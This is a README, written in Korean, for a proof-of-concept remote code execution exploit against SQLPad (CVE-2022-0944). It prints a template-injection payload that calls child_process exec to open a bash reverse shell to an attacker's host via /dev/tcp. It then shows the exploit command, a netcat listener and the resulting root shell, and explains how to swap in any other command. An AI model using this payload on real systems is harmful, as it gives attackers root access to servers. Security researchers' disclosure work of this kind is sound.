toneillcodes/cve-2022-0944SQLPad(CVE-2022-0944) RCE PoC
SQLPad에서 RCE를 위한 PoC입니다.
이 예제는 리버스 셸을 생성하지만, 페이로드 내 'exec' 호출의 명령을 변경하여 사용 가능한 모든 명령을 실행하도록 페이로드를 수정할 수 있습니다.
payload = f"{{{{ process.mainModule.require('child_process').exec('/bin/bash -c "bash -i >& /dev/tcp/{reverse_host}/{reverse_port} 0>&1"') }}}}"
Python 3
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ python poc-cve-2022-0944.py -u http://sqlpad.example.com/api/test-connection -a 10.10.11.208 -p 7070
[*] Running exploit against target: http://sqlpad.example.com/api/test-connection
[*] Assembling JSON with payload
[*] Submitting request...
[!] Exploit appears to have been successful.
[*] Done.
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
connect to [10.10.11.208] from example.com [10.10.11.25] 45502
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#
https://nvd.nist.gov/vuln/detail/CVE-2022-0944
https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb